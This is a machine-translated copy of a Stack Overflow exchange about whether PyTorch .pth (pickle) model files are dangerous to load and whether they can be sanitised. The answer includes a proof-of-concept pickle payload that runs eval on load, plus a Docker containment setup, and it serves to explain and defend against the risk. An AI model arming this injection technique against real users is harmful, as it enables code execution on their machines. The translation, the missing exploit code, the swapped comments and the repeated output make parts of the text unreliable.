Python .pth文件是否存在安全风险?我们如何对其进行消毒?

Python .pth文件是否存在安全风险?我们如何对其进行消毒?,python,machine-learning,pytorch,pickle,Python,Machine Learning,Pytorch,Pickle,众所周知,直接加载pickle文件是[不安全的][1]。然而,关于SE post的建议认为,如果不确定文件的来源,基本上不应该使用pickle文件 PyTorch机器学习模型存储为.pth文件,比如Github上的公共repos,我们想用它来进行推理,那么PyTorch机器学习模型呢?例如,如果我有一个model.pth,我计划用torch.load(model.pth)加载它,是否需要检查这样做是否安全?假设我别无选择,只能使用该模型,那么应该如何检查它呢 考虑到这些模型最终只是重量,我们是否

众所周知,直接加载pickle文件是[不安全的][1]。然而,关于SE post的建议认为,如果不确定文件的来源,基本上不应该使用pickle文件

PyTorch机器学习模型存储为
.pth
文件,比如Github上的公共repos,我们想用它来进行推理,那么PyTorch机器学习模型呢?例如,如果我有一个
model.pth
,我计划用
torch.load(model.pth)
加载它,是否需要检查这样做是否安全?假设我别无选择,只能使用该模型,那么应该如何检查它呢

考虑到这些模型最终只是重量,我们是否可以做一些事情,比如用PyTorch制作一个最小的Docker容器,将模型装入其中,然后重新保存重量?这是必要的,我们应该做什么样的检查(即,假设在集装箱内装载是安全的,应该应用什么样的代码处理来清洁运输模型?)

编辑:对要求澄清的回应:假设我有一个
模型.pth
-(1)如果.pth只包含模型权重,我是否需要像对待.pkl一样小心?或者我可以直接把它扔到火炬上(model.pth)?(2) 如果我做不到,在
torch.load()
之前我能做些什么来让心灵平静

编辑2:答案应该特别关注ML预训练模型。例如:查看模型(警告:从TorchHub下载80MB-可以随意使用另一个Resnet.pth模型,但任何清理都需要相当快)。目前,我将下载此文件,然后使用
load\u state\u dict
将其加载到PyTorch中(例如,详细解释[此处][2])。如果我不知道这是一个安全的模型,我怎么能在加载到
load\u state\u dict
之前先对它进行消毒呢



  [1]: https://stackoverflow.com/questions/25353753/python-can-i-safely-unpickle-untrusted-data
  [2]: https://www.programmersought.com/article/95324315915/

正如
@MobeusZoom
所指出的,这是关于Pickle而不是PyTorch格式的答案。无论如何,这个答案中的观察结果仍然适用

TL;博士 不要试图消毒泡菜。信任或拒绝

引用马可·斯拉维耶罗在其演讲中的话

真正的解决办法是:

  • 不要与不平等的信任方建立交换
  • 为exchange设置安全传输层
  • 签署交换文件
还需要注意的是,存在新的基于AI的攻击,即使pickle没有外壳代码,在从不受信任的来源加载经过预训练的网络时,您仍然可能需要解决其他问题

重要注意事项 从以上链接的演示中,我们可以得出几个重要注意事项:

  • Pickle使用一个虚拟机来重建实时数据(PVM发生在python进程的旁边),这个虚拟机不是图灵完整的,而是有:一个指令集(操作码)、一个用于执行的堆栈和一个用于托管对象数据的备忘录。这足以让攻击者利用此漏洞进行攻击
  • Pickle机制是向后兼容的,这意味着最新的Python可以取消其协议的第一个版本
  • Pickle可以(重新)构造任何对象,只要PVM不崩溃,该机制中没有一致性检查来强制执行对象完整性
  • 大体上说,Pickle允许攻击者以任何语言(包括python)执行外壳代码,这些代码甚至可以在受害者程序退出后持久存在
  • 攻击者通常会伪造自己的pickle,因为它提供了比单纯使用pickle机制更大的灵活性。当然,他们可以使用pickle作为编写操作码序列的助手。攻击者可以通过两种重要方式精心设计恶意pickle负载:
    • 预先编写要首先执行的外壳代码,并保持PVM堆栈干净。然后,你可能会得到一个正常的对象后,取消勾选
    • 将外壳代码插入有效负载,使其在取消勾选时执行,并可能与备忘录交互。然后,未勾选的对象可能具有额外的功能
  • 攻击者知道“安全解扣器”,并知道如何绕过它们
MCVE 在下面找到一个非常简单的MCVE来评估您关于在Docker容器中封装可疑酸洗文件的清理的建议。我们将使用它来评估主要的相关风险。请注意,真正的利用将更加先进和复杂

考虑以下两个类,
Normal
是您希望取消勾选的类:

# normal.py
class Normal:

    def __init__(self, config):
        self.__dict__.update(config)

    def __str__(self):
        return "<Normal %s>" % self.__dict__
然后,攻击者可以使用pickle作为辅助工具来生成中间有效载荷,以伪造最终利用有效载荷:

import pickle
from normal import Normal
from exploit import Exploit

host = Normal({"hello": "world"})
evil = Exploit()

host_payload = pickle.dumps(host, protocol=0) # b'c__builtin__\neval\np0\n(S"print(\'P@wn%d!\')"\np1\ntp2\nRp3\n.'
evil_payload = pickle.dumps(evil, protocol=0) # b'(i__main__\nNormal\np0\n(dp1\nS"hello"\np2\nS"world"\np3\nsb.'
在这一点上,攻击者可以设计一个特定的有效负载来注入外壳代码并返回数据

with open("inject.pickle", "wb") as handler:
    handler.write(b'c__builtin__\neval\np0\n(S"print(\'P@wn%d!\')"\np1\ntp2\nRp3\n(i__main__\nNormal\np0\n(dp1\nS"hello"\np2\nS"world"\np3\nsb.')
现在,当受害者将反序列化恶意pickle文件时,将执行攻击并按预期返回有效对象:

from normal import Normal
with open("inject.pickle", "rb") as handler:
     data = pickle.load(handler)
print(data)
执行返回:

P@wn%d!
<Normal {'hello': 'world'}>
进入Docker映像以尝试包含其执行。作为基线,我们可以这样做:

FROM python:3.9

ADD ./exploit ./
RUN chown 1001:1001 inject.pickle

USER 1001:1001

CMD ["python3", "./cleaner.py"]
然后我们构建映像并执行它:

docker build -t jlandercy/doclean:1.0 .
docker run -v /home/jlandercy/exploit:/exploit jlandercy/doclean:1.0
还要确保包含该漏洞的已装入文件夹具有限制性的临时权限

P@wn%d!
<Normal {'hello': 'world'}> # <-- Shellcode has been executed
<Normal {'hello': 'world'}> # <-- Shellcode has been removed
P@wn%d!

#我认为你的问题是合理的。沉默的否决票除了没有效率之外,也是令人沮丧的。你需要了解什么是pickle机制。您的问题可以翻译为:是否可以通过将腌渍物再次装入并倾倒到容器中来安全清洁腌渍物?@jlandcy谢谢。嗯,
.pth
据我所知,文件的重量刚好合适吗?因此,我首先要问的是,它们是否存在安全风险(比如
。pkl
文件是否符合警告)。如果是这样的话,那么我们能做些什么呢?这个容器只是一个建议……这就是为什么你提出的问题不符合so标准的原因。此堆栈将解决实际的编码问题,而不是检查通用工作流上的潜在问题。这可能就是为什么它吸引了反对票。要么继续问
docker build -t jlandercy/doclean:1.0 .
docker run -v /home/jlandercy/exploit:/exploit jlandercy/doclean:1.0
P@wn%d!
<Normal {'hello': 'world'}> # <-- Shellcode has been executed
<Normal {'hello': 'world'}> # <-- Shellcode has been removed